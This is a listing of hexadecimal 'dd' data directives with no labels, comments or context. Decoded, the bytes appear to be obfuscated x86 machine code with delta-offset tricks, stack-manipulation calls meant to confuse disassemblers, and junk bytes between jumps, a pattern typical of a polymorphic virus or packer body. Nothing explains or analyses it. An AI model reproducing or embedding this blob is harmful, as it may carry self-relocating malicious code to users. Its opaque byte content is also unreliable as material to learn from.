		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 50B333F2h
		dd 59BD31FCh, 5805E715h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0AAC35040h, 0D8E139B3h, 880FD82Bh, 174h
		dd 241B58Bh, 0B70F05E7h, 7B9F3h, 0BD8B0000h, 5E70CA1h
		dd 2EBDBD89h, 0C18305E7h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 77D4F147h
		dd 53D2BA18h, 0E8F08B9Ch, 12h, 0E84259C6h, 0A27C082Fh
		dd 0D139C3C8h, 51147EC2h, 0B58921E5h, 5E72EEDh,	399D895Eh
		dd 3B05E704h, 5860FD9h,	89000001h, 0E727B595h, 0D98C6605h
		dd 0C1F6FB8Bh, 0E9840F04h, 66000000h, 0FFCF2DBFh, 0E7132995h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0CE96036h, 0A2000000h, 9C8AA9F1h, 8F0267B8h
		dd 23FC8BCFh, 0E729B18Dh, 6A5B6105h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8C75C353h
		dd 0F08B7B37h, 6AC32Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 940634C3h, 21DD8589h, 343D05E7h
		dd 0F000008h, 5786h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 2B235447h, 6170E2AFh
		dd 12E9h, 0A7212B00h, 94D76D4Dh, 0FE7CE4EAh, 43BA0BFCh
		dd 0E9C63A42h, 20h, 13E9h, 8A843500h, 25C916E9h, 1BB06BDFh
		dd 51A42680h, 1BFA4BD5h, 0D781C08Bh, 2ABFC3CDh,	0D88BC38Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6BC35545h
		dd 2FEDAA74h, 8BC64CC7h, 9585C7F0h, 9D05E707h, 6A3BD9E5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 4F8C351h,	72300E7Dh, 89548626h, 0E711C58Dh
		dd 6AC08B05h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 605AC350h, 2F75BD89h, 0BA6605E7h
		dd 8B6193F5h, 0E71B59BDh, 15BD8105h, 0D005E727h, 0F000007h
		dd 3985h, 0F78B6600h, 271585FFh, 6A05E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8FB03FC3h
		dd 0F1A3AC0Dh, 0BD8B7F58h, 5E72CE9h, 1F5B58Bh, 0B5FF05E7h
		dd 5E72715h, 21C195FFh,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0F608D9C3h, 6A90DE43h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0F226C357h, 56BD973Bh, 28C9B58Bh,	0E95F05E7h
		dd 10h,	0A8904721h, 4201F8F5h, 3F200780h, 1EDDD13Ah, 0CE9h
		dd 0A52B2100h, 2CD23DDBh, 4A1CDDAFh, 0B5B58B9Ah, 6A05E729h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 40B4C356h, 0B58B359Eh, 5E71C91h, 12699D89h
		dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 716DEFC3h, 30CE81B0h, 663AF0B4h, 4181F781h
		dd 18498589h, 2B6005E7h, 0E72D118Dh, 0BFE08105h, 8B7E0A6Ah
		dd 0E7159595h, 6A6105h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 26A3ABC3h, 88745195h, 13E9565Ah
		dd 0B0000000h, 0FF2C82E4h, 0B0121F9Ch, 1B0AA7D8h, 0A195F6B2h
		dd 0E95EBC3Bh, 0FFFFF758h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0BCC35141h, 639D6F14h, 8BF8BF0Fh, 56006AC1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 29FD8F20h, 0EBFC26DDh, 4, 6800F00h, 81000000h, 0CC2B09EEh
		dd 58D0F59h, 0BE000000h, 63E7C263h, 6880Fh, 0BD030000h
		dd 5E7143Dh, 1395858Dh,	6A05E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 2D4686C3h, 50F08B66h
		dd 0FCB8A60h, 68Fh, 0F525000h, 61585A31h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6EBCC355h, 14F9B244h, 0E8D6CA0Ah, 9,	0A0DE6CABh, 0D5E76A7Eh
		dd 11E801h, 15380000h, 0B674A7A2h, 73577068h, 13ACDDFFh
		dd 66E187D9h, 5E5FFE8Bh, 28F18589h, 6A05E7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8AC35141h, 346D98EEh
		dd 0B7243DCDh, 3800F50h, 0F000000h, 9501FEBFh, 5E72099h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0E76C02C3h, 0C681D577h, 283B102Ah, 0F910858Dh
		dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0C129A9C3h, 0BF0FA47Bh, 5C083F7h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EAC35545h, 8486D6B6h
		dd 0F397C1ADh, 4103BF90h, 60504DEFh, 854DBB66h,	8E8h, 1F85A200h
		dd 0D9F92145h, 59CE8BBDh, 6A9061h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 24341EC3h, 0F0BF0FCCh
		dd 0BD8B006Ah, 5E7220Dh, 1BBF006Ah, 0FF6BBE09h,	0E71A4D95h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0BB75D45Fh, 64BC2251h, 79B58B2Ch, 8D05E727h
		dd 0EAA4AA9Dh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 7C0F19Bh, 204CE9E0h, 0D3FF5D8Ah
		dd 14FD85FFh, 0B86005E7h, 1116537Ah, 5537BF66h,	90DE961h
		dd 0E80000h, 5D000000h,	0F91AED81h, 6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 5ED7D7C3h
		dd 0AC94416Bh, 0BD81BC78h, 5E72715h, 7D0h, 149860Fh, 81660000h
		dd 8B668BDEh, 0E7185D9Dh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E5BD8B14h
		dd 8105E72Bh, 100E3h, 14E900h, 9C080000h, 0D4D420B6h, 3F731728h
		dd 1D865197h, 0A5D089E3h, 0DB0BF652h, 86850Fh, 820F0000h
		dd 0Ch,	6890Fh,	8C0F0000h, 0
		dd 0F6F0BD83h, 0F0005EAh, 5284h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8B2CDF90h
		dd 718D01F1h, 0E905E725h, 4Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0DDC35646h,	7CBF74BEh, 2C153A0Bh
		dd 0C7F08BB8h, 0EAF6F085h, 105h, 15E900h, 95890000h, 5E70C4Dh
		dd 0F6F085C7h, 5EAh, 81660000h,	8D715EF7h, 0E7185D9Dh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 54E26B01h, 0CADD65DCh, 0BD01F36Fh, 5E72571h
		dd 6E1B58Bh, 238105E7h,	0FFFFFEFFh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 53C35141h, 81665B48h, 660AF2CFh
		dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 8D7414C3h, 3D5389E4h, 4C3F61Ah, 6F840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 606F81C3h, 0C546B966h, 1B69BD0Bh,	0FF6105E7h
		dd 0E7132995h, 0EE805h,	0A3FF0000h, 0D3F4691Ah,	5B45390Fh
		dd 8682862Ch, 905EF98Bh, 76BF6650h, 6A908Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 2AC01EC3h
		dd 0CFE97552h, 4DDE9C5h, 8D890000h, 5E72231h, 858900B0h
		dd 5E7035Dh, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0A8D9CAC3h, 519509F4h, 0E405E72Fh
		dd 51006A71h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 598A5450h, 9E8h,	10498A00h, 0AE72C8ABh
		dd 0DE918F9h, 58000000h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h
		dd 0F5B58B5Fh, 0F05E701h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 7C6BABC3h, 0BE886B37h
		dd 3308A637h, 0BAFA8B66h, 6, 0F8B0Fh, 0AE90000h, 6C000000h
		dd 23BDE8C0h, 4E5035A2h, 6AC38B84h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0D910C353h
		dd 0EE81CF96h, 6AC5FBE3h, 6A04E8C1h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 1196C357h
		dd 0C057476Eh, 0B5891DEDh, 5E719F5h, 9E2F766h, 0E70A21B5h
		dd 6AD82B05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 5264C355h, 0FE960FFh, 47000000h
		dd 0D22E8A13h, 86FAFC3Fh, 0B9852CB0h, 0C980AFACh, 0E95061FAh
		dd 0Eh,	485F2A17h, 24407AA7h, 0B6C16A88h, 1C89AC73h, 8DB53124h
		dd 0FF05E732h, 0E72715B5h, 68B0F05h, 9000000h, 0E72A7195h
		dd 0C195FF05h, 6A05E721h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0DA3AC355h,	26216C0h
		dd 53BC2FFCh, 59BCBE66h, 0E8E0F5Eh, 0E9000000h,	9, 3BA0C16Ch
		dd 0F5EF056Dh, 6A00B0B5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3E6CC350h, 3E7C8A6h
		dd 21A6D9C0h, 8B0Fh, 0F18B0000h, 6A70E6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DEF8DC3h
		dd 5E9C3018h, 89A02002h, 0E72A79BDh, 71B58B05h,	0E405E705h
		dd 39B58B71h, 3C05E708h, 0A0830F61h, 89000002h,	0E72B35BDh
		dd 13E905h, 8AF30000h, 852E070Eh, 3FC9C013h, 4A57C16Dh
		dd 843C03C3h, 0D8B60FF3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0AEC35545h, 6BA06h, 95890000h, 5E703F1h
		dd 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 553150C3h, 11E952h, 0DB8B0000h, 6DD392EBh
		dd 7146120Dh, 2D2B69DBh, 5F97CCDCh, 2BC9BD01h, 0E8C105E7h
		dd 0A5858904h, 6605E716h, 0B58BE2F7h, 5E70BA9h,	6AD82Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 655194C3h, 0EF31AA70h, 58F18B66h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 97C35747h, 9D60A4C7h, 558501FEh
		dd 2B05E721h, 0B0880FD8h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 385DC352h
		dd 8BF6688Ch, 0E71D05BDh, 7B905h, 0B70F0000h, 0C183F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1BC35646h
		dd 41AD0428h, 0BAF195C6h, 3E1BD8Bh, 0D93B05E7h,	14D860Fh
		dd 9D090000h, 5E7271Dh,	6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F4DCC353h
		dd 4914D6E4h, 11C6054Ah, 0CE9h,	0CECF0C00h, 0E4B3E738h
		dd 15088E67h, 4C1F6B2h,	0DF840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A472BC3h
		dd 56677CBBh, 0FF5751F6h, 0E7132995h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 21EE450Ah, 0CE262ACCh, 8E5CF781h, 0E95B004Fh, 14h, 2AD753BBh
		dd 1553219Fh, 5A83BA4Bh, 6137C2E0h, 41D1365Ch, 810FC32Bh
		dd 1Eh,	0DFB70F60h, 14E9h, 3627100h, 8C18098Dh,	0B6DE4A48h
		dd 0F10F7B22h, 9C878EECh, 343D6107h, 0F000008h,	4086h
		dd 0F38B6600h, 5EE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 8DC5B98Ch, 65DAE12Bh
		dd 9E8h, 0B92A2100h, 462D05BBh,	0C78184DAh, 70D7A65h, 6AC08B5Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 5734C353h, 1789B58Bh, 8B5F05E7h, 6AD88BC3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 4A67C357h, 0C76DB6F3h, 0E71A5585h, 9321BD05h
		dd 50006A75h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0E4E801DEh, 0F850EF7Ah, 5196DDBEh, 0E9C08B5Ah
		dd 0Ch,	2316B3D9h, 715D6Dh, 0BB17A04Dh,	2715BD81h, 7D005E7h
		dd 850F0000h, 38h, 0CE9h, 0FF1B9D00h, 488F45F5h, 5B4F7DF7h
		dd 1585FFAEh, 6A05E727h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 8426C352h, 0F88B66CDh
		dd 2715B5FFh, 8B6605E7h, 0C195FFF3h, 6A05E721h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0E8CDC351h, 50006A90h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E98B542Fh, 0Dh, 0B045EC6h
		dd 9EB7B242h, 583849E2h, 11800FECh, 0E9000000h,	0Ch, 8D1B5B0Ah
		dd 0F730B9B1h, 0EDC8FC75h, 21159589h, 89F905E7h, 0E72C519Dh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 60D084CBh, 1A58533h, 0CE8105E7h,	5D2A6DE2h
		dd 284DB501h, 0BE6605E7h, 8961596Ah, 0E7079185h, 0BDBD0105h
		dd 2905E71Bh, 0E72111B5h, 6AF905h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 59E83CC3h, 0B533F9CCh
		dd 5E7142Dh, 3199D29h, 6A05E7h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 596000C3h, 0F2B25FD4h
		dd 579B589h, 8B6605E7h,	55006AF3h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 8CA6BA44h, 7195463Eh
		dd 5EF957C8h, 0FFF6F9E9h, 0DBD33FFh, 8B05E70Bh,	10E9C1h
		dd 6800000h, 6D18A068h,	28A29CB4h, 8F034445h, 85895926h
		dd 5E724F5h, 4EBh, 66530000h, 5F1F16BEh, 1609B58Bh, 858D05E7h
		dd 5E71395h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	9AC35242h, 0BE669028h, 605071D0h, 758DC7BBh, 6152B37Fh
		dd 3ABF6690h, 0A7CF8154h, 6A1AFE2Dh, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 5B58B18h, 6A05E70Bh
		dd 0BABF6600h, 91858D52h, 6A05EB03h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 2515C351h
		dd 8299589h, 8E905E7h, 65000000h, 18CDD10Ah, 83D79AD0h
		dd 0FE8B05C0h, 0F08B6650h, 6A240489h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5713C352h
		dd 6AAB1EDCh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0F23F282Ch, 0B58B006Ah, 5E72C39h
		dd 1A4D95FFh, 8D0105E7h, 5E72A25h, 0A4AA9D8Dh, 6A05EAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0E9DF73C3h, 0F5806051h, 820F60h, 66000000h, 0D3FFF98Bh
		dd 0FFF6B70Fh, 0E714FD85h, 0D7816605h, 0E4E93D2Eh, 0E8000008h
		dd 0
		dd 9BED815Dh, 105EB03h,	0E7177985h, 61B58905h, 8105E72Dh
		dd 0E72715BDh, 7D005h, 40860F00h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 5071C357h, 531DF64Ah, 0BD23BE71h, 5E70961h, 12E9h, 1F8E1400h
		dd 2F24B5D4h, 0F8BF9014h, 0F955B60Bh, 8B351FF5h, 0E707CD9Dh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 9BDB9B03h, 44D16373h, 81F18B5Fh,	100E3h
		dd 0F9B70F00h, 850FDB0Bh, 6Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0CAC35242h,	718B72BFh, 41BD8366h
		dd 5EB02h, 5840Fh, 49E90000h, 0C7000000h, 0EB024185h, 105h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0B70FB7FAh, 1820FFEh, 0F5000000h, 13E9h
		dd 59858900h, 0C705E709h, 0EB024185h, 5, 0F18B6600h, 7CD9D8Dh
		dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 16D990C3h, 8E5E70F9h, 6EF1C781h, 2381144Eh
		dd 0FFFFFEFFh, 0E987B260h, 0Ah,	188EF743h, 0FF6AE6DBh
		dd 6661FB4Ah, 0BD8BDB8Ch, 5E71679h, 0F04C3F6h, 0AC84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 8579F41Fh, 0C5775764h, 95BD03FBh, 0FF05E700h
		dd 0E7132995h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 74E46218h, 13E9h, 0F97A2600h
		dd 315FA90Ch, 0E82CE50Ah, 36F3CA69h, 16E4345Eh,	498D8960h
		dd 6105E718h, 52505090h, 0FFB8B66h, 0EE831h, 0A930000h
		dd 1191C19Fh, 3B00397h,	626023DBh, 0CE8h, 0C3D2500h, 55A1672Dh
		dd 4DD0210Ah, 5A5E5FF0h, 29609058h, 0E7271D95h,	0E8E88005h
		dd 438E961h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E9499DC3h, 0Bh,	9CA1BC35h, 0CA94F719h
		dd 0B00E20B0h, 0CE800h,	61780000h, 4371DE9Fh, 0B1BB1543h
		dd 0B5892E9Fh, 5E70129h, 0E870E65Eh, 0Ah, 9847D953h, 318269Ch
		dd 0BD03FC03h, 5E712D9h, 0E871E45Eh, 0Dh, 8C82846Dh, 3AF0735Ah
		dd 0A64A200Ch, 0AE9DCh,	70ED0000h, 0E97BB4A2h, 3C2D0B45h
		dd 0D8B60F5Eh, 10E9h, 406D8C00h, 567BABD1h, 8D936AA2h
		dd 0A7332619h, 6BAFFh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 1CE8E9C3h, 8BFEBF0Fh
		dd 4E8C1C3h, 7E9h, 1D255700h, 94F673C0h, 6AE2F766h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0B473C355h, 0E8A2824Ah, 0Ch,	3F7C3335h, 28BCC6E6h, 7C26C82Fh
		dd 17E1BD8Bh, 2B5E05E7h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 12E6BF36h, 50930E49h
		dd 899A01BEh, 0E6819319h, 4E733C70h, 2715B5FFh,	0BD8B05E7h
		dd 5E72A49h, 21C195FFh,	6A05E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 34D4C0C3h, 19B9BD89h
		dd 8E0F05E7h, 6, 63DB503h, 0B005E7h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5C35646h, 398761D0h, 11E8260Dh
		dd 7B000000h, 39E5D911h, 0D9374A93h, 3F19D413h,	8C0FE0BDh
		dd 5FF88B66h, 816670E6h, 0E498DED6h, 0EE971h, 0F3240000h
		dd 2BDAA768h, 0B82A8604h, 0D8F588F5h, 830F613Ch, 256h
		dd 2D118529h, 0B60F05E7h, 51006AD8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 8AEC0D4Fh
		dd 0C500B961h, 6BAF9h, 0C38B0000h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0B5C35242h,	0B523763Ch, 5E719D5h
		dd 6A04E8C1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6677C351h, 0ED5CEE81h,	60E2F766h
		dd 2861BD89h, 0B96605E7h, 2B61CDFCh, 0BE9D8h, 84870000h
		dd 0BD10CB5Ch, 9845245Bh, 58F18B0Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 52C35343h, 0B5317C3Fh, 5E707C1h
		dd 880FD82Bh, 18Ah, 1C61BD29h, 7B905E7h, 89000000h, 0E711C585h
		dd 0C18305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0F6C35343h, 0A48CC1Fh, 0B2C51CA6h, 3DC78166h, 0FD93BCFh
		dd 14586h, 4DBE6600h, 0D98C66BEh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 1FC35545h, 55536164h, 0B589BFF4h
		dd 5E71C1Dh, 0F04C1F6h,	0E984h,	0DE816600h, 95FFAE24h
		dd 5E71329h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0B5C35545h, 0E58B66B8h,	0FE6AAF83h, 178C0Fh, 12E90000h
		dd 68000000h, 9BF8AF61h, 0F4402ABEh, 22EE3478h,	0A722AA43h
		dd 60F560F4h, 6F5E95B8h, 0AE93Eh, 0DD9C0000h, 0D5FC907Bh
		dd 1CC3BD48h, 8B5B6161h, 0E70E6DBDh, 6AC32B05h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 1673C353h, 7B14B8E3h, 3D9DEE09h, 834h, 4C860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 6E364C3h, 0A422A919h, 0E9B3F3DDh, 46h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 7AC35040h, 45114F13h
		dd 0C08B58A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	44C35747h, 0F9B70F1Bh, 0C38BFE8Bh, 8B60D88Bh, 0E72BA195h
		dd 28E0F05h, 60000000h,	0BF0F6161h, 5D85C7FAh, 0B905E718h
		dd 6A7EA889h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 4805C356h, 8B6B584Dh, 0E721BDBDh
		dd 69BD8B05h, 8B05E70Ch, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0BA7DD836h, 0BF66DE45h
		dd 0BD815BD7h, 5E72715h, 7D0h, 56850Fh,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8BC2E8C3h, 0E725D1BDh, 0F1BF0F05h, 271585FFh, 6A05E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 7BF963C3h, 9598FBCh,	6682346Ch, 0C231D781h, 2715B5FFh
		dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 61E7C6C3h, 0B7B1EECh, 0E71CDDB5h,	7DBD0905h
		dd 0FF05E70Ah, 0E721C195h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 61BC75B7h
		dd 0BD33ADBBh, 5E70BF5h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 87FEA92Dh, 1A8E298Ch
		dd 0FB8B6676h, 0C8B0Fh,	0BD8B0000h, 5E71949h, 2889B529h
		dd 0F88B05E7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	67C35646h, 0D0BFF893h, 0A76ABEDBh, 0C78166CCh
		dd 0B52BF239h
		dd 5E71641h, 68E0Fh, 85890000h,	5E72F31h, 11E8h, 31EE1500h
		dd 964EF26Bh, 9A03FE6h,	57994A95h, 0EE818052h, 14C61117h
		dd 0BD858B60h, 0F05E701h, 83h, 0E9B58900h, 6105E72Bh, 19BD0B5Fh
		dd 0F05E733h, 2B53FBB7h, 0E70559BDh, 0BD895F05h, 5E7128Dh
		dd 0B4DBD09h, 8B5205E7h, 6A5EFBh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 1A6619C3h, 9C3546DEh
		dd 0F28B666Dh, 237D8D09h, 8B6605E7h, 55006AF0h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 28A058FCh
		dd 2E7163D3h, 1755BD8Bh, 3CE905E7h, 6AFFFFF7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 8546C351h, 8B4D103Bh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 786F8938h, 816934E9h
		dd 7C0A5CE7h, 4EB7Eh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0AF83C357h,	8B66FE6Ah
		dd 50006AFEh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 611DCCA2h, 7D9D89CAh, 6605E705h,	0CE2ED681h
		dd 1395858Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 996795C3h, 50F8BF0Fh, 1847BE50h
		dd 895E2825h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 6A005AC3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B30FF70h
		dd 0E72BADB5h, 9006A05h, 0E709398Dh, 850F05h, 8D000000h
		dd 0EB0E6D85h, 0D8D8905h, 8305E709h, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3C150AC3h
		dd 70992D56h, 60C611BEh, 2FEF8166h, 61C78AE1h, 50F38B90h
		dd 7E95250h, 23000000h,	5EF55E99h, 310FD7B9h, 87B9BF66h
		dd 6A90585Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 7FE0C353h, 85F62213h, 6AC66Bh
		dd 6A5F50h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 15h,	0B4C35141h, 89B58B92h, 0F05E712h, 68Eh,	9DB53100h
		dd 0FF05E71Fh, 0E71A4D95h, 0C8F68105h, 6608F5EBh, 8D89F8BEh
		dd 0EAA4AA9Dh, 8B666005h, 0DE9D6h, 5F080000h, 0C5C8E446h
		dd 0CF0A6396h, 61A7A45Ch, 0BD8BD3FFh, 5E71D25h,	0B82BBE66h
		dd 14FD85FFh, 0FF905E7h, 0B9E9FFB7h, 0E8000008h, 0
		dd 77ED815Dh, 5305EB0Eh, 0BD815EF8h, 5E72715h, 7D0h, 165860Fh
		dd 0BF660000h, 9D8B4FA5h, 5E721D1h, 0BE9h, 16407C00h, 352B51E2h
		dd 0D67E746Fh, 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 5EFA64C3h, 0DB58960h
